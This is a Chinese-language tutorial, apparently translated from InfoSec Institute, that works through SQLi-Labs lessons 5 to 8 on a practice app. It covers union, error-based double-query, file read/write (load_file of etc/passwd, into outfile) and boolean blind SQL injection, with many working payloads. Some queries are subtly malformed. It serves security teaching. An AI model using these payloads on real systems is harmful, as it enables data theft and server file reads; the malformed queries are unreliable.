- A+
继freebuf作者novsec上篇带来的《安全科普:SQLi Labs 指南 Part 1》,小伙伴们纷纷表示学习到了不少有用的姿势,本次novsec继续带来SQLi Labs 指南第二弹,详情如下:
第五课:不用注释来查询
在这节中,我们来学习怎么进行基于错误的双引号注入攻击,如下两个注入:
?id=1′ AND ’2 ?id=3′ AND ’4
注入这两个代码后,数据库显示不同的用户名和密码。现在我们使用联合查询命令来从数据库中得到更多的敏感信息。下面是我们使用的查询语句:
-6′ union select 5, version(),3 AND ’1
这次的查询我们使用version()函数懒探测数据库的版本;同样,我们可以用其他不同的查询来从数据库中检索更多的信息。现在我们使用下面的查询来得到当前用户名:
-6′ union select 5,current_user,3 AND ’1
译者注
这个小节的核心内容是用 and 1(数字型)或者and ‘1(单引号)来代替–+之类的注释符号。
注意 and 1 不同于 and id=1,如下图所示:
第六课:双注入-双引号
在这几种我们将会学习怎么进行基于错误的双引号注入攻击,如下图所示:
?id=3
注入查询后,我们可以看到屏幕上出现了一条sql错误信息。在继续之前,我们来讨论一些sql的基本函数(对于程序员和测试者一视同仁)。我们从count函数开始,它会返回行数。
select count(*) from information_schema.tables;
我们来尝试下另一个随机函数。用这个函数我们可以得到一个介于0和1之间的一个随机值。
select rand() ;
另一个我们要使用的有趣函数是group by语句;我们来看一个例子:
select table_name, table_schema from information_schema.tables group by table_schema
现在我们回到正题,怎么样从一个SQL错误信息中下载数据库。
选择数据库:
select database();
它显示了我们当前的数据库security。现在我们往(select databas())里添加一些东西,我们用这个查询来联结输出。
select concat((select database()));
现在我们来添加一些有趣的显示,如下:
select concat(0x3a,0x3a(select database()),0x3a,0x3a)
0x3a是十六进制。
将这些查询语句复制到Notepad中,以便我们来构造。
因为select concat(0x3a,0x3a(select database()),0x3a,0x3a)这条语句太长,我们来给它一个较短的名字,如a。
现在查询语句变成了这样:
select concat(0x3a,0x3a(select database()),0x3a,0x3a)a;
我们再把这条语句复制到Notepad中。
现在我们再给它加入一些随机性。
select concat(0x3a,0x3a(select database()),0x3a,0x3a, floor (rand()*2))a;
复制Notepad。
现在我们通过选择一个任意的表,来添加多个值,如下:
select concat(0x3a,0x3a(select database()),0x3a,0x3a, floor (rand()*2)) a from information_schema.columns;
通过执行这条查询语句,我们可以看到行数。
复制到Notepad。
现在你可以从information_schema中选择任何你想要的数据包和数据库了。如下:
select concat(0x3a,0x3a(select database()),0x3a,0x3a, floor (rand()*2)) a from information_schema.tables;
执行这条语句后,我们同样可以看到行数。
复制字符串。
现在我们将得到的字符串分组,并将其作为另一个字段添加到之前的字符串里,如下:
select count(*),concat(0x3a,0x3a(select database()),0x3a,0x3a, floor (rand()*2)) a from information_schema.tables group by a;
现在,我们从上图的输出中可以看到60:0和67:1。我们将继续接着执行三到四次查询,如下:
在几次尝试后,我们会得到一个错误信息,因为随机数字重复了。
复制到NotePad。
但是在错误信息里,它告诉了我们核心信息,数据库的名字security,这正是我们想要知道的。我们再来问下它版本名。
select count(*),concat(0x3a,0x3a(select version()),0x3a,0x3a, floor (rand()*2)) a from information_schema.columns group by a;
如下图,它告诉了我们版本名。
让我们尝试下载数据库用户:
select count(*),concat(0x3a,0x3a(select user()),0x3a,0x3a, floor (rand()*2)) a from information_schema.columns group by a;
使用这个查询几次后,它同样产生了一个SQL错误,并且告诉了我们username。
通过这个技术,我们可以利用SQL的错误信息从数据库下载信息。
第七课 通过outfile函数来下载数据库
在这节中,我们将要学习怎么下载数据库,我们以截断SQL查询开始,如下:
?id=1′–-+
现在我们将要绕过前台在后台讨论一些函数。在你的终端中启动mysql,选择数据库security。
use security;
我们通过基本的命令来下载数据库:
select * from users;
现在我们来下载数据库,然后通过使用一个叫做“outfile”的函数来让mysql将数据库的内容写到一个文件中,所以查询命令如下:
select * from users into outfile “/tmp/tests.txt”
我们来看下test.txt文件的内容。
我们还有另一个叫做“dumpfile”的函数,dumpfile只能使用一行,所以我们再下载数据库的使用,给一个限制。
select * from users limit 0,1 into dumpfile “/tmp/test2.txt”
还有一个用来导入文件的函数。它可以用来从文件系统中将文件导入到mysql中,下面是它的查询命令:
select load_file(“etc/passwd”);
它已经下载了密码文件。
综合上述,我们将密码的下载到一个文件中。查询命令如下:
select load_file(“etc/passwd”) into outfile “tmp/test4.txt”;
让我们来看下test4.txt文件。
现在哦我们回到前台部分,在地址栏里输入如下查询:
?id=2")) union select 1,2,3 into outfile “/var/www/sqli-labs/Less-7/union2.txt” –-+
现在来检查下union2.txt文件。
通过这种方式,我们可以改变输入的查询命令来获得更多的信息,例如数据库版本,当前用户等,就像我们之前的几节课里所演示的那样。
第八课:基于布尔-单引号-盲注
在这节中,我们将要学习实施盲注,我们从枚举开始,尝试截断查询。
?id=1′ ?id=1)
注入了一些查询后,会发现我们并没有在屏幕上看到错误信息。因此我们不能确定在这个网页上是否存在注入。这也是为什么这种类型的注入叫做盲注。通常有两种类型盲注,基于布尔的和基于时间的注入。
我们从一些基础开始。启动mysql,并选择默认的数据库:
use security;
现在我们来介绍一个新的函数,length():
select length(database());
让我们来向数据库提问些问题,如数据库的第一个字符是否是什么,如果数据库的第一个字符是S,他就会返回一个是真的回答。如果第二个字符是A,那么数据库会的回答将会是假,因为A不属于数据库的名字,但是E也会返回真。现在我们用另一种技术,我们可以通过这种技术来改变我们查询的方法和她返回的方法。有一个可以将字符串截断为几个部分的函数,他叫做substr。查询如下:
select substr(database(),1,1);
我们来使用一个叫做ASCII的新函数。这个函数可以用来将字符串转化为ASCII值。这会使我们建设侧数据库的第一个字母变的更容易,如下图所示。我们有一个115的值,使用到的查询为:
select ascii(substr(database(),1,1));
现在我们在ASCII表中来查一下115。
检查下第二个字母E的值。它是101。
我们在mysql查询中来查下值:
select ascii(substr(database(),2,1));
用这种方式,我们可以得到更多的ASCII值,我们来评估下查询
Select ascii(substr(database(),2,1)) = 101;
等于101。
是的,它是真的。返回的值是1,因为字母E的ASCII码为101。
下面我们来使用这个查询:
select ascii(substr(database(),2,1)) < 101;
结果是假的。因为它等于0,ASCII的值不是小于101,我们来尝试通过下面的这个查询来猜一下第三个字符。
select ascii(substr(database(),3,1)) < 101;
结果为1,这意味着是真。所以让它变成97。使用
select ascii(substr(database(),3,1)) < 97;
结果是0;它意味着假,因此有效的值应该在97到101之间。所以现在继续尝试来猜97到101之间的所有值。
我们得到了第三个值是99,在ASCII表中找下它。
我们在URL中使用这个查询。
?id=1′ AND (ascii(substr((select database()) ,3,3)) = 99 –-+
屏幕上显示 you are in ………。
这意味着99是真的。
如果我们将99改为98,会发生什么:
?id=1′ AND (ascii(substr((select database()) ,3,3)) = 98
我们可以看到屏幕上没有发生什么,我们可以得出得到了一个错误。
我们开始枚举数据库,查询是
id=1′ AND (ascii(substr((select table_name information_schema.tables where table_schema=database()limit 0,1) ,1,1)) < 105 –-+
我们可以看到信息:You are in ……。这意味着为真。
现在让我们尝试下101:
id=1′ AND (ascii(substr((select table_name information_schema.tables where table_schema=database()limit 0,1) ,1,1)) = 101 –-+
现在可以看到一个信息:
You are in …….。
它意味着Email的第一个字母是E。
译者注:
Note:在URL中,使用的是AND而不是UNION。
[via:infosecinstitute]
- 我的微信
- 这是我的微信扫一扫
- 我的微信公众号
- 我的微信公众号扫一扫